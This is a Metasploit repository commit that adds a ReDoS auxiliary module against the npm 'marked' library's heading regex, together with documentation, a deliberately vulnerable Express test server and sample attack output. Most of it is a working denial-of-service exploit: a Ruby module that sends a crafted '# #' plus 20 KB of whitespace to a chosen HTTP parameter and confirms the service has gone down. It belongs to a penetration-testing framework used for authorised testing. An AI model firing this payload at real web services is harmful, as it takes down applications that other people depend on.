Land #10120, npm "marked" ReDoS module

4.x
William Vu 2018-08-16 15:01:12 -05:00 committed by Metasploit
parent 5094040242
commit e1097f7e38
No known key found for this signature in database
GPG Key ID: CDFB5FA52007B954
2 changed files with 201 additions and 0 deletions

View File

@ -0,0 +1,84 @@
## Vulnerable Application
This auxiliary module exploits a Regular Expression Denial of Service vulnerability
in the npm module `marked`. The vulnerable regex is in the "heading" processing.
Versions before 0.3.19 are vulnerable.
Any application that uses a vulnerable version of this module and passes untrusted input
to the module will be vulnerable.
## How to Install
To install a vulnerable version of `marked`, run:
```
npm i marked@0.3.19
```
## Verification Steps
Example steps in this format (is also in the PR):
1. Create a new directory for test application.
2. Copy below example server into test application directory as `server.js`.
3. Run `npm i express` to install express in the test application directory.
4. To test vulnerable versions of the module, run `npm i marked@0.3.19` to install a vulnerable version of marked.
5. To test non-vulnerable versions of the module, run `npm i marked` to install the latest version of marked.
6. Once all dependencies are installed, run the server with `node server.js`.
7. Open up a new terminal.
8. Start msfconsole.
9. `use auxiliary/dos/http/marked_redos`.
10. `set RHOST [IP]`.
11. `set HTTP_METHOD get` (optional)
12. `set HTTP_PARAMETER foo` (required)
13. `set URI /path/to/vulnerable/route` (optional)
14. `run`.
15. In vulnerable installations, Module should have positive output and the test application should accept no further requests.
16. In non-vulnerable installations, module should have negative output and the test application should accept further requests.
## Scenarios
### marked npm module version 0.3.19
Expected output for successful exploitation:
```
[*] Testing Service to make sure it is working.
[*] Test request successful, attempting to send payload
[*] Sending ReDoS request to 192.168.3.24:3000.
[*] No response received from 192.168.3.24:3000, service is most likely unresponsive.
[*] Testing for service unresponsiveness.
[+] Service not responding.
[*] Auxiliary module execution completed
```
### Example Vulnerable Application
```
// npm i express body-parser
// npm i marked@0.3.19 (vulnerable)
// npm i marked (non-vulnerable)
const marked = require('marked');
const express = require('express');
const bodyParser = require('body-parser');
var app = express();
app.use(bodyParser.text({ type: 'text/html' }));
// create application/json parser
const jsonParser = bodyParser.json();
// create application/x-www-form-urlencoded parser
const urlencodedParser = bodyParser.urlencoded({ extended: false });
app.get("/", urlencodedParser, function(req, res) {
var result = req.query.foo ? marked(req.query.foo) : 'nothing';
res.end(result);
});
app.post("/cat", urlencodedParser, function(req, res) {
var result = req.body.bar ? marked(req.body.bar) : 'nothing'
res.end(result);
});
app.listen(3000, '0.0.0.0', function() { console.log('Application listening on port 3000 on all interfaces!'); });
```

View File

@ -0,0 +1,117 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'marked npm module "heading" ReDoS',
'Description' => %q{
This module exploits a Regular Expression Denial of Service vulnerability
in the npm module "marked". The vulnerable portion of code that this module
targets is in the "heading" regular expression. Web applications that use
"marked" for generating html from markdown are vulnerable. Versions up to
0.4.0 are vulnerable.
},
'References' =>
[
['URL', 'https://blog.sonatype.com/cve-2017-17461-vulnerable-or-not'],
['CWE', '400']
],
'Author' =>
[
'Adam Cazzolla, Sonatype Security Research',
'Nick Starke, Sonatype Security Research'
],
'License' => MSF_LICENSE
))
register_options([
Opt::RPORT(80),
OptString.new('HTTP_METHOD', [true, 'The default HTTP Verb to use', 'GET']),
OptString.new('HTTP_PARAMETER', [true, 'The vulnerable HTTP parameters', '']),
OptString.new('TARGETURI', [true, 'The URL Path to use', '/'])
])
end
def run
if test_service
trigger_redos
test_service_unresponsive
else
fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
end
end
def trigger_redos
begin
print_status("Sending ReDoS request to #{peer}.")
params = {
'uri' => normalize_uri(target_uri.path),
'method' => datastore['HTTP_METHOD'],
("vars_#{datastore['HTTP_METHOD'].downcase}") => {
datastore['HTTP_PARAMETER'] => "# #" + (" " * 20 * 1024) + Rex::Text.rand_text_alpha(1)
}
}
res = send_request_cgi(params)
if res
fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
end
print_status("No response received from #{peer}, service is most likely unresponsive.")
rescue ::Rex::ConnectionRefused
print_error("Unable to connect to #{peer}.")
rescue ::Timeout::Error
print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
end
end
def test_service_unresponsive
begin
print_status('Testing for service unresponsiveness.')
res = send_request_cgi({
'uri' => '/' + Rex::Text.rand_text_alpha(8),
'method' => 'GET'
})
if res.nil?
print_good('Service not responding.')
else
print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
end
rescue ::Rex::ConnectionRefused
print_error('An unknown error occurred.')
rescue ::Timeout::Error
print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
end
end
def test_service
begin
print_status('Testing Service to make sure it is working.')
res = send_request_cgi({
'uri' => '/' + Rex::Text.rand_text_alpha(8),
'method' => 'GET'
})
if res && res.code >= 100 && res.code < 500
print_status("Test request successful, attempting to send payload. Server returned #{res.code}")
return true
else
return false
end
rescue ::Rex::ConnectionRefused
print_error("Unable to connect to #{peer}.")
return false
end
end
end